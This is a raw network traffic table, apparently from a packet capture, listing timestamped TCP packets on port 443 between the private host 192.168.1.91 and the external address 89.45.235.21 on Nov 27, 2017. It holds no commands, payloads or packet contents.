Nov 27, 2017 12:34:32.277895927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.277982950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.278009892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.283776045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.283796072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.283838034 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.283858061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.285033941 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.315767050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.319077015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.319104910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.319268942 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.319302082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.322648048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.322670937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.322789907 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.322824001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.349677086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.349695921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.349903107 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.349934101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.357295990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.357312918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.357414007 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.357439041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.386797905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.386818886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.387131929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.387166023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.406371117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.406418085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.406630039 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.406670094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.436033010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.436064005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.436072111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.436253071 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.436276913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.443135023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.443164110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.443427086 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.443470001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.486263037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.486311913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.486474037 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.486515999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.507807970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.507839918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.508042097 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.508069992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.551219940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.551259995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.551269054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.551528931 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.551575899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.560111046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.560127020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.560478926 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.560506105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.601758957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.601794958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.601990938 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.602030993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.613832951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.613852978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.614074945 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.614115000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.639668941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.639981985 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.640022039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.657596111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.657633066 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.657866001 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.657907009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.668908119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.668943882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.669186115 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.669229031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.713716030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.713757992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.713977098 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.714019060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.749823093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.749857903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.750099897 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.750149965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.800599098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.800625086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.800633907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.800832987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.800856113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.814361095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.814380884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.814629078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.814671993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.837817907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.837846994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.838057041 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.838080883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.868694067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.868720055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.868969917 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.868995905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.909827948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.910013914 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.910039902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.916748047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.916764021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.916889906 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.916913033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.934923887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.934959888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.935081959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.935106993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.964808941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.964834929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.964989901 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.965013981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.994992971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.995032072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:32.995230913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:32.995270967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.129388094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.129415989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.129431963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.129699945 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.129724026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.136467934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.136492968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.136889935 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.136914015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.162986040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.163012981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.163264990 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.163289070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.182777882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.182805061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.183010101 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.183044910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.214153051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.214174032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.214180946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.214303970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.214323997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.214493990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.219703913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.219726086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.221704006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.221714973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.221836090 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.221853018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.233086109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.233102083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.233201981 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.233221054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.240003109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.240019083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.240120888 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.240139961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.246946096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.246968985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.247096062 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.247114897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.249257088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.249269962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.249403000 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.249420881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.262258053 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.262281895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.262418032 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.262438059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.272150993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.272185087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.272306919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.272329092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.273924112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.274013042 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.274029970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.281080008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.281115055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.281299114 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.281320095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.283885956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.283915997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.283987045 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.284007072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.295543909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.295579910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.295774937 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.295804024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.307151079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.307187080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.307204008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.307378054 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.307404995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.314209938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.314241886 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.314430952 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.314461946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.323024035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.323064089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.323206902 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.323235035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.330187082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.330220938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.330524921 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.330550909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.337409973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.337436914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.337543011 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.337567091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.343112946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.343141079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.343311071 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.343333006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.347919941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.347945929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.348048925 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.348071098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.348351002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.348371029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.348465919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.348484993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.355081081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.355114937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.355204105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.355226040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.361049891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.361202955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.361226082 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.362695932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.362719059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.362834930 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.362855911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.366533995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.366570950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.366704941 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.366727114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.370506048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.370541096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.370680094 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.370707035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.373883009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.373909950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.373979092 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.374001026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.375314951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.375340939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.375432968 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.375452995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.380036116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.380062103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.380150080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.380207062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.383848906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.383873940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.384001017 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.384069920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.388672113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.388696909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.388784885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.388818026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.391391039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.391419888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.391532898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.391566992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.395271063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.395297050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.395418882 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.395466089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.398382902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.398406982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.399811029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.399841070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.402728081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.402759075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.402802944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.403001070 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.403028965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.403759003 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.403794050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.403810024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.404725075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.404742002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.405136108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.405154943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.406991959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.407004118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.407021999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.407035112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.407114029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.408261061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.408279896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.408292055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.408476114 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.410650015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.410669088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.410969973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.412018061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.412039042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.412045956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.412218094 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.414882898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.414911032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.414920092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.415118933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.417186975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.417212009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.417221069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.417506933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.423806906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.423832893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.423841000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.424129963 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.424150944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.426145077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.426158905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.426326990 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.426348925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.427594900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.427634001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.427743912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.427763939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.428379059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.428400040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.429255962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.429272890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.429389954 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.429409981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.431880951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.431905985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.432152987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.432178020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.434391022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.434406996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.434415102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.434623957 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:33.434648991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.437352896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:33.437376022 CET	443	49165	89.45.235.21	192.168.1.91
